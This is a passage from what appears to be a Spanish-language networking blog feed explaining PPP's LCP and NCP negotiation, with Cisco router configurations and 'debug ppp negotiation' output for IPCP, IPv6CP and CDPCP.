<pre style="border: 1px solid #000000; padding: 1.2em;">----!# R1 #!----
R1#sh ipv6 interface brief | sec Serial1/0
Serial1/0 [up/up]
<span style="color: #0080FF;">FE80::C801:26FF:FE5C:0</span>
2000::1
----!# R2 #!----
R2#sh ipv6 interface brief | sec Serial1/0
Serial1/0 [up/up]
<span style="color: #0080FF;">FE80::C802:26FF:FE5E:0</span>
2000::2</pre>
<p>Y por último, podemos ver que también se establece una comunicación a través de CDP: “<strong><em>Se1/0 CDPCP: Protocol configured, start CP. state[Initial]</em></strong>“.</p>W0lf_F4ngms@w0lff4ng.orgUna vez que finaliza el establecimiento del enlace con LCP, y no se posee autenticación, PPP pasa a la fase de negociación de los protocolos de red.PPP posee NCP independientes para los protocolos de capa de red, donde los más usados son: IPCP: utilizado para IPv4. IPV6CP: para IPv6. IPXCP: usado en IPX. CDPCP: para CDP. La idea de tener NCPs independientes, es que estos pueden abrir y cerrar los módulos en cualquier momento, sin afectar a los demás protocolos de capa de red. Estos protocolos pueden negociar los parámetros a usar como se hace en LCP donde, por ejemplo, si uno de los dispositivos negocia la IP, mediante NCP el dispositivo remoto puede entregar información de direccionamiento. Con respecto a la implementación del protocolo en los equipos, se configura la encapsulación del protocolo con el comando encapsulation ppp, en R1 se indica que se negociará el direccionamiento IPv4, R2 tiene un pool local de direcciones, y ambos routers tienen dirección IPv6 (solo para ver cómo negocia NCP): R1: R1#sh run int s1/0 Building configuration... Current configuration : 118 bytes ! interface Serial1/0 ip address negotiated encapsulation ppp ipv6 address 2000::1/64 serial restart-delay 0 end R2: R2#sh run int s1/0 Building configuration... Current configuration : 168 bytes ! interface Serial1/0 ip address 192.168.1.2 255.255.255.0 encapsulation ppp peer default ip address pool POOL ipv6 address 2000::2/64 serial restart-delay 0 end R2#sh run | in ip local pool ip local pool POOL 192.168.1.5 192.168.1.10 Cuando levantamos las interfaces, podemos ver la negociación de los protocolos de capa red con el comando debug ppp negotiation: R1#debug ppp negotiation PPP protocol negotiation debugging is on R1# *Jun 25 12:57:03.923: Se1/0 LCP: O CONFREQ [REQsent] id 4 len 10 *Jun 25 12:57:03.927: Se1/0 LCP: MagicNumber 0x012A9886 (0x0506012A9886) *Jun 25 12:57:03.927: Se1/0 LCP: Event[Timeout+] State[REQsent to REQsent] R1# *Jun 25 12:57:05.939: Se1/0 LCP: O CONFREQ [REQsent] id 5 len 10 *Jun 25 12:57:05.943: Se1/0 LCP: MagicNumber 0x012A9886 (0x0506012A9886) *Jun 25 12:57:05.943: Se1/0 LCP: Event[Timeout+] State[REQsent to REQsent] *Jun 25 12:57:06.035: Se1/0 LCP: I CONFREQ [REQsent] id 1 len 10 *Jun 25 12:57:06.035: Se1/0 LCP: MagicNumber 0x022ABA39 (0x0506022ABA39) *Jun 25 12:57:06.039: Se1/0 LCP: O CONFACK [REQsent] id 1 len 10 *Jun 25 12:57:06.039: Se1/0 LCP: MagicNumber 0x022ABA39 (0x0506022ABA39) *Jun 25 12:57:06.043: Se1/0 LCP: Event[Receive ConfReq+] State[REQsent to ACKsent] *Jun 25 12:57:06.071: Se1/0 LCP: I CONFACK [ACKsent] id 5 len 10 *Jun 25 12:57:06.071: Se1/0 LCP: MagicNumber 0x012A9886 (0x0506012A9886) *Jun 25 12:57:06.071: Se1/0 LCP: Event[Receive ConfAck] State[ACKsent to Open] *Jun 25 12:57:06.099: Se1/0 PPP: Phase is FORWARDING, Attempting Forward *Jun 25 12:57:06.103: Se1/0 LCP: State is Open *Jun 25 12:57:06.135: Se1/0 PPP: Phase is ESTABLISHING, Finish R1#LCP *Jun 25 12:57:06.135: %LINEPROTO-5-UPDOWN: Line protocol on Interface Serial1/0, changed state to up *Jun 25 12:57:06.151: Se1/0 PPP: Phase is UP *Jun 25 12:57:06.159: Se1/0 IPCP: Protocol configured, start CP. state[Initial] *Jun 25 12:57:06.167: Se1/0 IPCP: Event[OPEN] State[Initial to Starting] *Jun 25 12:57:06.175: Se1/0 IPCP: O CONFREQ [Starting] id 1 len 10 *Jun 25 12:57:06.175: Se1/0 IPCP: Address 0.0.0.0 (0x030600000000) *Jun 25 12:57:06.179: Se1/0 IPCP: Event[UP] State[Starting to REQsent] *Jun 25 12:57:06.187: Se1/0 IPV6CP: Protocol configured, start CP. state[Initial] *Jun 25 12:57:06.195: Se1/0 IPV6CP: Event[OPEN] State[Initial to Starting] *Jun 25 12:57:06.199: Se1/0 IPV6CP: O CONFREQ [Starting] id 1 len 14 *Jun 25 12:57:06.203: Se1/0 IPV6CP: Interface-Id C801:26FF:FE5C:0000 (0x010AC80126FFFE5C0000) *Jun 25 12:57:06.203: Se1/0 IPV6CP: Event[UP] State[Starting to REQsent] *Jun 25 12:57:06.211: Se1/0 CDPCP: Protocol configured, start CP. state[Initial R1#] *Jun 25 12:57:06.219: Se1/0 CDPCP: Event[OPEN] State[Initial to Starting] *Jun 25 12:57:06.223: Se1/0 CDPCP: O CONFREQ [Starting] id 1 len 4 *Jun 25 12:57:06.223: Se1/0 CDPCP: Event[UP] State[Starting to REQsent] *Jun 25 12:57:06.231: Se1/0 IPCP: I CONFREQ [REQsent] id 1 len 10 *Jun 25 12:57:06.231: Se1/0 IPCP: Address 192.168.1.2 (0x0306C0A80102) *Jun 25 12:57:06.235: Se1/0 IPCP: O CONFACK [REQsent] id 1 len 10 *Jun 25 12:57:06.235: Se1/0 IPCP: Address 192.168.1.2 (0x0306C0A80102) *Jun 25 12:57:06.235: Se1/0 IPCP: Event[Receive ConfReq+] State[REQsent to ACKsent] *Jun 25 12:57:06.235: Se1/0 IPV6CP: I CONFREQ [REQsent] id 1 len 14 *Jun 25 12:57:06.235: Se1/0 IPV6CP: Interface-Id C802:26FF:FE5E:0000 (0x010AC80226FFFE5E0000) *Jun 25 12:57:06.235: Se1/0 IPV6CP: O CONFACK [REQsent] id 1 len 14 *Jun 25 12:57:06.239: Se1/0 IPV6CP: Interface-Id C802:26FF:FE5E:0000 (0x010AC80226FFFE5E0000) *Jun 25 12:57:06.239: Se1/0 IPV6CP: Event[Receive ConfReq+] State[REQsent to R1#ACKsent] *Jun 25 12:57:06.239: Se1/0 CDPCP: I CONFREQ [REQsent] id 1 len 4 *Jun 25 12:57:06.239: Se1/0 CDPCP: O CONFACK [REQsent] id 1 len 4 *Jun 25 12:57:06.239: Se1/0 CDPCP: Event[Receive ConfReq+] State[REQsent to ACKsent] *Jun 25 12:57:06.255: Se1/0 IPCP: I CONFNAK [ACKsent] id 1 len 10 *Jun 25 12:57:06.255: Se1/0 IPCP: Address 192.168.1.5 (0x0306C0A80105) *Jun 25 12:57:06.255: Se1/0 IPCP: O CONFREQ [ACKsent] id 2 len 10 *Jun 25 12:57:06.255: Se1/0 IPCP: Address 192.168.1.5 (0x0306C0A80105) *Jun 25 12:57:06.255: Se1/0 IPCP: Event[Receive ConfNak/Rej] State[ACKsent to ACKsent] *Jun 25 12:57:06.263: Se1/0 IPV6CP: I CONFACK [ACKsent] id 1 len 14 *Jun 25 12:57:06.263: Se1/0 IPV6CP: Interface-Id C801:26FF:FE5C:0000 (0x010AC80126FFFE5C0000) *Jun 25 12:57:06.267: Se1/0 IPV6CP: Event[Receive ConfAck] State[ACKsent to Open] *Jun 25 12:57:06.267: Se1/0 CDPCP: I CONFACK [ACKsent] id 1 len 4 *Jun 25 12:57:06.267: Se1/0 CDPCP: Event[Receive ConfAck] State[ACKsent to Open] R1# *Jun 25 12:57:06.307: Se1/0 IPV6CP: State is Open *Jun 25 12:57:06.339: Se1/0 CDPCP: State is Open *Jun 25 12:57:06.363: Se1/0 IPCP: I CONFACK [ACKsent] id 2 len 10 *Jun 25 12:57:06.367: Se1/0 IPCP: Address 192.168.1.5 (0x0306C0A80105) *Jun 25 12:57:06.367: Se1/0 IPCP: Event[Receive ConfAck] State[ACKsent to Open] *Jun 25 12:57:06.367: Se1/0 IPCP: State is Open *Jun 25 12:57:06.371: Se1/0 IPCP: Install negotiated IP interface address 192.168.1.5 *Jun 25 12:57:06.451: Se1/0 Added to neighbor route AVL tree: topoid 0, address 192.168.1.2 *Jun 25 12:57:06.455: Se1/0 IPCP: Install route to 192.168.1.2 Podemos ver que R1 se encuentra negociando el direccionamiento IPv4 para su interfaz, donde a través de NCP indica que no tiene dirección “Se1/0 IPCP: Address 0.0.0.0 (0x030600000000)“, y R2 responde con un Configure-Nak, confirmando que no acepta dicha configuración, pero ofrece una nueva: “Se1/0 IPCP: I CONFNAK [ACKsent] id 1 len 10“, “Se1/0 IPCP: Address 192.168.1.5 (0x0306C0A80105)“. Con un show ip interface brief podemos ver que se aprende la dirección a través de IPCP: R1#sh ip int br | in Serial1/0 Serial1/0 192.168.1.5 YES IPCP up up R1#sh ip route | be Gateway Gateway of last resort is not set 192.168.1.0/32 is subnetted, 2 subnets C 192.168.1.2 is directly connected, Serial1/0 C 192.168.1.5 is directly connected, Serial1/0 Con respecto a IPv6, los equipos informan su dirección Link-Local (R1: “Se1/0 IPV6CP: Interface-Id C801:26FF:FE5C:0000 (0x010AC80126FFFE5C0000)“, R2: “Se1/0 IPV6CP: Interface-Id C802:26FF:FE5E:0000 (0x010AC80226FFFE5E0000)“): ----!# R1 #!---- R1#sh ipv6 interface brief | sec Serial1/0 Serial1/0 [up/up] FE80::C801:26FF:FE5C:0 2000::1 ----!# R2 #!---- R2#sh ipv6 interface brief | sec Serial1/0 Serial1/0 [up/up] FE80::C802:26FF:FE5E:0 2000::2 Y por último, podemos ver que también se establece una comunicación a través de CDP: “Se1/0 CDPCP: Protocol configured, start CP. state[Initial]“.Point-to-Point Protocol – Part. 22020-05-22T11:58:47-04:002020-05-22T11:58:47-04:00http://www.w0lff4ng.org/point-to-point-protocol-part-2<p><img src="/assets/img/point-to-point-protocol-part-2/ppp.jpeg" alt="ppp" /></p>
<p>PPP antes de levantar la interfaz que va hacia el dispositivo vecino, este negocia opciones del enlace mediante el protocolo LCP. Dentro de las especificaciones encontramos lo siguiente:</p>
<ul>
<li><strong><a href="https://tools.ietf.org/html/rfc1570#section-2.3">Callback</a>:</strong> es una característica que se configura para restablecer llamadas.</li>
<li><strong><a href="https://tools.ietf.org/html/rfc1990">PPP Multilink Protocol</a> (MP):</strong> es una agregación de enlaces en PPP.</li>
<li><strong><a href="https://tools.ietf.org/html/rfc1661#section-6.2">Autenticación</a>:</strong> LCP define si se va a autenticar o no, y si se autentica, cual protocolo usar (PAP o CHAP).</li>
<li><strong><a href="https://tools.ietf.org/html/rfc1661#section-6.4">Magic Number</a>:</strong> este número es utilizado para detectar loops en el enlace, además de otras anomalías del enlace.</li>
<li><strong><a href="https://tools.ietf.org/html/rfc1661#section-6.6">Compression</a>:</strong> define si se va a comprimir el <a href="https://tools.ietf.org/html/rfc1661#section-6.5">campo protocol</a> o los <a href="https://tools.ietf.org/html/rfc1661#section-6.6">campos de dirección y control</a>.</li>
</ul>
<p>LCP posee 3 variedades de paquetes, los cuales son:</p>
<ul>
<li><strong>Link Configuration Packets:</strong> usados para establecer y configurar un enlace, donde se encuentran los siguientes mensajes:</li>
<li><strong>Configure-Request:</strong> utilizado para abrir una conexión con el vecino, donde se indican las opciones que se van a usar: un tipo de autenticación, MP, Callback, entro otros.</li>
<li><strong>Configure-Ack:</strong> enviado para aceptar todos los valores de las opciones enviadas en un Configure-Request. Cuando ambos peer aceptan las configuraciones de cada uno (reciben un paquete Configure-Ack), finaliza la negociación de LCP.</li>
<li><strong>Configure-Nak:</strong> utilizado cuando no se soporta una característica definida en un Configure-Request, pero se ofrece una característica que puede reemplazar las anteriores (se realiza una negociación).</li>
<li><strong>Configure-Reject:</strong> similar al Configure-Nak, pero esta en este caso no se ofrece nada para reemplazar la característica rechazada.</li>
<li><strong>Link Termination Packets:</strong> utilizados para finalizar la sesión del enlace, y se pueden encontrar los siguientes mensajes:</li>
<li><strong>Terminate-Request:</strong> utilizado para indicar que se quiere cerrar la conexión con el peer. Este mensaje es enviado hasta recibir un Terminate-Ack.</li>
<li><strong>Terminate-Ack:</strong> mensaje enviado para responder a un Termite-Request.</li>
<li><strong>Link Maintenance Packets:</strong> usados para administrar y depurar el enlace. Podemos encontrar los siguientes mensajes:</li>
<li><strong>Code-Reject:</strong> utilizado para indicar que se recibió un código desconocido, lo cual puede deberse a que el peer utiliza otra versión del protocolo.</li>
<li><strong>Protocol-Reject:</strong> enviado cuando se recibe un paquete PPP con un valor del campo Protocol desconocido, indicando que el peer está intentando utilizar un protocolo que no es compatible con PPP.</li>
<li><strong>Echo-Request:</strong> enviado para proveer un mecanismo anti-loop en el enlace de datos.</li>
<li><strong>Echo-Reply:</strong> usado para responder el mensaje Echo-Request.</li>
<li><strong>Discard-Request:</strong> mensaje utilizado para hacer pruebas de salida.</li>
</ul>
<p>De los mensajes indicados, los Link Configuration Packets corresponden a los utilizados para establecer el enlace con el peer.</p>
<h2 id="formato-lcp">Formato LCP</h2>
<p>A continuación, se deja el formato de un mensaje LCP:</p>
<p><img src="/assets/img/point-to-point-protocol-part-2/lcp_format.png" alt="ppp01" /></p>
<p>Como podemos ver en la imagen anterior, los mensajes LCP posee los siguientes campos:</p>
<ul>
<li><strong>Code:</strong> campo de un 1 byte y que representa qué tipo de paquete LCP se está enviando. Estos valores son definidos por números:
<ol>
<li>Configure-Request</li>
<li>Configure-Ack</li>
<li>Configure-Nak</li>
<li>Configure-Reject</li>
<li>Terminate-Request</li>
<li>Terminate-Ack</li>
<li>Code-Reject</li>
<li>Protocol-Reject</li>
<li>Echo-Request</li>
<li>Echo-Reply</li>
<li>Discard-Request</li>
</ol>
</li>
<li><strong>Identifier:</strong> 1 byte que permite hacer coincidir los requests con los replies. Si se recibe un valor no valido, el mensaje es descartado.</li>
<li><strong>Length:</strong> 2 bytes que indican la longitud del mensaje LCP.</li>
<li><strong>Data:</strong> dependiendo del valor del código, es como se encuentra estructurado este campo.</li>
</ul>
<h2 id="establecimiento-de-sesión-ppp">Establecimiento de sesión PPP</h2>
<p>El establecimiento de sesión PPP se encuentra dividido en 3 fases, las cuales son:</p>
<ol>
<li><strong>Establecimiento de enlace y negociación de configuración:</strong> lo primero que se hace antes de enviar algún datagrama (como un paquete IP), es abrir una conexión y negociar las opciones de configuración mediante LCP. Una vez se reciba un Configure-Ack esta fase finaliza.</li>
<li><strong>Determinar la calidad del enlace (opcional):</strong> LCP tiene la capacidad de validar la calidad del enlace para enviar tráfico de la capa de red.</li>
<li><strong>Negociación de la configuración del protocolo de la capa de red:</strong> cuando LCP termina su función de la negociación con el peer y de verificar la calidad del enlace es tiempo de que NCP cumpla su función. NCP configura los protocolos de capa de red que se utilizarán, donde este puede activarlos y desactivarlos en cualquier momento.</li>
</ol>
<h2 id="verificación-de-negociación-lcp">Verificación de negociación LCP</h2>
<p>En los equipos Cisco, para poder validar la negociación del protocolo PPP, se utiliza el comando <strong><em>debug ppp negotiation</em></strong>:</p>
<pre style="border: 1px solid #000000; padding: 1.2em;">R1#<span style="color: #0080FF;">debug ppp negotiation</span>
PPP protocol negotiation debugging is on
R1#
*Jun 25 01:05:08.367: PPP: Alloc Context [68AD348C]
*Jun 25 01:05:08.371: ppp2 PPP: Phase is ESTABLISHING
*Jun 25 01:05:08.371: Se1/0 PPP: Using default call direction
<span style="color: #0080FF;">*Jun 25 01:05:08.371: Se1/0 PPP: Treating connection as a dedicated line
</span>*Jun 25 01:05:08.371: Se1/0 PPP: Session handle[91000002] Session id[2]
*Jun 25 01:05:08.371: Se1/0 LCP: Event[OPEN] State[Initial to Starting]
*Jun 25 01:05:08.375: Se1/0 LCP: O CONFREQ [Starting] id 1 len 10
*Jun 25 01:05:08.375: Se1/0 LCP: MagicNumber 0x011CF58C (0x0506011CF58C)
*Jun 25 01:05:08.379: Se1/0 LCP: Event[UP] State[Starting to REQsent]
R1#
<span style="color: #0080FF;">*Jun 25 01:05:10.355: Se1/0 LCP: O CONFREQ [REQsent] id 2 len 10
*Jun 25 01:05:10.359: Se1/0 LCP: MagicNumber 0x011CF58C (0x0506011CF58C)
</span>*Jun 25 01:05:10.359: Se1/0 LCP: Event[Timeout+] State[REQsent to REQsent]
<span style="color: #D358F7;">*Jun 25 01:05:10.491: Se1/0 LCP: I CONFREQ [REQsent] id 1 len 10
*Jun 25 01:05:10.491: Se1/0 LCP: MagicNumber 0x021CFEBF (0x0506021CFEBF)
*Jun 25 01:05:10.495: Se1/0 LCP: O CONFACK [REQsent] id 1 len 10
*Jun 25 01:05:10.495: Se1/0 LCP: MagicNumber 0x021CFEBF (0x0506021CFEBF)
</span>*Jun 25 01:05:10.495: Se1/0 LCP: Event[Receive ConfReq+] State[REQsent to ACKsent]
<span style="color: #0080FF;">*Jun 25 01:05:10.499: Se1/0 LCP: I CONFACK [ACKsent] id 2 len 10
*Jun 25 01:05:10.503: Se1/0 LCP: MagicNumber 0x011CF58C (0x0506011CF58C)
</span>*Jun 25 01:05:10.503: Se1/0 LCP: Event[Receive ConfAck] State[ACKsent to Open]
*Jun 25 01:05:10.515: Se1/0 PPP: Phase is FORWARDING, Attempting Forward
<span style="color: #0080FF;">*Jun 25 01:05:10.519: Se1/0 LCP: State is Open
*Jun 25 01:05:10.567: Se1/0 PPP: Phase is ESTABLISHING, Finish
</span>R1#LCP
<span style="color: #FA5858;">*Jun 25 01:05:10.567: %LINEPROTO-5-UPDOWN: Line protocol on Interface Serial1/0, changed state to up</span>
*Jun 25 01:05:10.567: Se1/0 PPP: Outbound cdp packet dropped, line protocol not up
*Jun 25 01:05:10.583: Se1/0 PPP: Phase is UP
*Jun 25 01:05:10.591: Se1/0 CDPCP: Protocol configured, start CP. state[Initial]
*Jun 25 01:05:10.599: Se1/0 CDPCP: Event[OPEN] State[Initial to Starting]
*Jun 25 01:05:10.603: Se1/0 CDPCP: O CONFREQ [Starting] id 1 len 4
*Jun 25 01:05:10.607: Se1/0 CDPCP: Event[UP] State[Starting to REQsent]
*Jun 25 01:05:10.615: Se1/0 CDPCP: I CONFREQ [REQsent] id 1 len 4
*Jun 25 01:05:10.619: Se1/0 CDPCP: O CONFACK [REQsent] id 1 len 4
*Jun 25 01:05:10.619: Se1/0 CDPCP: Event[Receive ConfReq+] State[REQsent to ACKsent]
*Jun 25 01:05:10.643: Se1/0 CDPCP: I CONFACK [ACKsent] id 1 len 4
*Jun 25 01:05:10.643: Se1/0 CDPCP: Event[Receive ConfAck] State[ACKsent to Open]
*Jun 25 01:05:10.647: Se1/0 CDPCP: State is Open</pre>
<p>En color azul podemos ver un Configure-Request enviado por R1 y respondido por un Configure-Ack (esto validado por el Magic Number), y viceversa se puede ver en rosado, donde R1 recibe un Configure-Request y este responde un Configure-Ack.</p>W0lf_F4ngms@w0lff4ng.orgPPP antes de levantar la interfaz que va hacia el dispositivo vecino, este negocia opciones del enlace mediante el protocolo LCP. Dentro de las especificaciones encontramos lo siguiente: Callback: es una característica que se configura para restablecer llamadas. PPP Multilink Protocol (MP): es una agregación de enlaces en PPP. Autenticación: LCP define si se va a autenticar o no, y si se autentica, cual protocolo usar (PAP o CHAP). Magic Number: este número es utilizado para detectar loops en el enlace, además de otras anomalías del enlace. Compression: define si se va a comprimir el campo protocol o los campos de dirección y control. LCP posee 3 variedades de paquetes, los cuales son: Link Configuration Packets: usados para establecer y configurar un enlace, donde se encuentran los siguientes mensajes: Configure-Request: utilizado para abrir una conexión con el vecino, donde se indican las opciones que se van a usar: un tipo de autenticación, MP, Callback, entro otros. Configure-Ack: enviado para aceptar todos los valores de las opciones enviadas en un Configure-Request. Cuando ambos peer aceptan las configuraciones de cada uno (reciben un paquete Configure-Ack), finaliza la negociación de LCP. Configure-Nak: utilizado cuando no se soporta una característica definida en un Configure-Request, pero se ofrece una característica que puede reemplazar las anteriores (se realiza una negociación). Configure-Reject: similar al Configure-Nak, pero esta en este caso no se ofrece nada para reemplazar la característica rechazada. Link Termination Packets: utilizados para finalizar la sesión del enlace, y se pueden encontrar los siguientes mensajes: Terminate-Request: utilizado para indicar que se quiere cerrar la conexión con el peer. Este mensaje es enviado hasta recibir un Terminate-Ack. Terminate-Ack: mensaje enviado para responder a un Termite-Request. Link Maintenance Packets: usados para administrar y depurar el enlace. Podemos encontrar los siguientes mensajes: Code-Reject: utilizado para indicar que se recibió un código desconocido, lo cual puede deberse a que el peer utiliza otra versión del protocolo. Protocol-Reject: enviado cuando se recibe un paquete PPP con un valor del campo Protocol desconocido, indicando que el peer está intentando utilizar un protocolo que no es compatible con PPP. Echo-Request: enviado para proveer un mecanismo anti-loop en el enlace de datos. Echo-Reply: usado para responder el mensaje Echo-Request. Discard-Request: mensaje utilizado para hacer pruebas de salida. De los mensajes indicados, los Link Configuration Packets corresponden a los utilizados para establecer el enlace con el peer. Formato LCP A continuación, se deja el formato de un mensaje LCP: Como podemos ver en la imagen anterior, los mensajes LCP posee los siguientes campos: Code: campo de un 1 byte y que representa qué tipo de paquete LCP se está enviando. Estos valores son definidos por números: Configure-Request Configure-Ack Configure-Nak Configure-Reject Terminate-Request Terminate-Ack Code-Reject Protocol-Reject Echo-Request Echo-Reply Discard-Request Identifier: 1 byte que permite hacer coincidir los requests con los replies. Si se recibe un valor no valido, el mensaje es descartado. Length: 2 bytes que indican la longitud del mensaje LCP. Data: dependiendo del valor del código, es como se encuentra estructurado este campo. Establecimiento de sesión PPP El establecimiento de sesión PPP se encuentra dividido en 3 fases, las cuales son: Establecimiento de enlace y negociación de configuración: lo primero que se hace antes de enviar algún datagrama (como un paquete IP), es abrir una conexión y negociar las opciones de configuración mediante LCP. Una vez se reciba un Configure-Ack esta fase finaliza. Determinar la calidad del enlace (opcional): LCP tiene la capacidad de validar la calidad del enlace para enviar tráfico de la capa de red. Negociación de la configuración del protocolo de la capa de red: cuando LCP termina su función de la negociación con el peer y de verificar la calidad del enlace es tiempo de que NCP cumpla su función. NCP configura los protocolos de capa de red que se utilizarán, donde este puede activarlos y desactivarlos en cualquier momento. Verificación de negociación LCP En los equipos Cisco, para poder validar la negociación del protocolo PPP, se utiliza el comando debug ppp negotiation: R1#debug ppp negotiation PPP protocol negotiation debugging is on R1# *Jun 25 01:05:08.367: PPP: Alloc Context [68AD348C] *Jun 25 01:05:08.371: ppp2 PPP: Phase is ESTABLISHING *Jun 25 01:05:08.371: Se1/0 PPP: Using default call direction *Jun 25 01:05:08.371: Se1/0 PPP: Treating connection as a dedicated line *Jun 25 01:05:08.371: Se1/0 PPP: Session handle[91000002] Session id[2] *Jun 25 01:05:08.371: Se1/0 LCP: Event[OPEN] State[Initial to Starting] *Jun 25 01:05:08.375: Se1/0 LCP: O CONFREQ [Starting] id 1 len 10 *Jun 25 01:05:08.375: Se1/0 LCP: MagicNumber 0x011CF58C (0x0506011CF58C) *Jun 25 01:05:08.379: Se1/0 LCP: Event[UP] State[Starting to REQsent] R1# *Jun 25 01:05:10.355: Se1/0 LCP: O CONFREQ [REQsent] id 2 len 10 *Jun 25 01:05:10.359: Se1/0 LCP: MagicNumber 0x011CF58C (0x0506011CF58C) *Jun 25 01:05:10.359: Se1/0 LCP: Event[Timeout+] State[REQsent to REQsent] *Jun 25 01:05:10.491: Se1/0 LCP: I CONFREQ [REQsent] id 1 len 10 *Jun 25 01:05:10.491: Se1/0 LCP: MagicNumber 0x021CFEBF (0x0506021CFEBF) *Jun 25 01:05:10.495: Se1/0 LCP: O CONFACK [REQsent] id 1 len 10 *Jun 25 01:05:10.495: Se1/0 LCP: MagicNumber 0x021CFEBF (0x0506021CFEBF) *Jun 25 01:05:10.495: Se1/0 LCP: Event[Receive ConfReq+] State[REQsent to ACKsent] *Jun 25 01:05:10.499: Se1/0 LCP: I CONFACK [ACKsent] id 2 len 10 *Jun 25 01:05:10.503: Se1/0 LCP: MagicNumber 0x011CF58C (0x0506011CF58C) *Jun 25 01:05:10.503: Se1/0 LCP: Event[Receive ConfAck] State[ACKsent to Open] *Jun 25 01:05:10.515: Se1/0 PPP: Phase is FORWARDING, Attempting Forward *Jun 25 01:05:10.519: Se1/0 LCP: State is Open *Jun 25 01:05:10.567: Se1/0 PPP: Phase is ESTABLISHING, Finish R1#LCP *Jun 25 01:05:10.567: %LINEPROTO-5-UPDOWN: Line protocol on Interface Serial1/0, changed state to up *Jun 25 01:05:10.567: Se1/0 PPP: Outbound cdp packet dropped, line protocol not up *Jun 25 01:05:10.583: Se1/0 PPP: Phase is UP *Jun 25 01:05:10.591: Se1/0 CDPCP: Protocol configured, start CP. state[Initial] *Jun 25 01:05:10.599: Se1/0 CDPCP: Event[OPEN] State[Initial to Starting] *Jun 25 01:05:10.603: Se1/0 CDPCP: O CONFREQ [Starting] id 1 len 4 *Jun 25 01:05:10.607: Se1/0 CDPCP: Event[UP] State[Starting to REQsent] *Jun 25 01:05:10.615: Se1/0 CDPCP: I CONFREQ [REQsent] id 1 len 4 *Jun 25 01:05:10.619: Se1/0 CDPCP: O CONFACK [REQsent] id 1 len 4 *Jun 25 01:05:10.619: Se1/0 CDPCP: Event[Receive ConfReq+] State[REQsent to ACKsent] *Jun 25 01:05:10.643: Se1/0 CDPCP: I CONFACK [ACKsent] id 1 len 4 *Jun 25 01:05:10.643: Se1/0 CDPCP: Event[Receive ConfAck] State[ACKsent to Open] *Jun 25 01:05:10.647: Se1/0 CDPCP: State is Open En color azul podemos ver un Configure-Request enviado por R1 y respondido por un Configure-Ack (esto validado por el Magic Number), y viceversa se puede ver en rosado, donde R1 recibe un Configure-Request y este responde un Configure-Ack.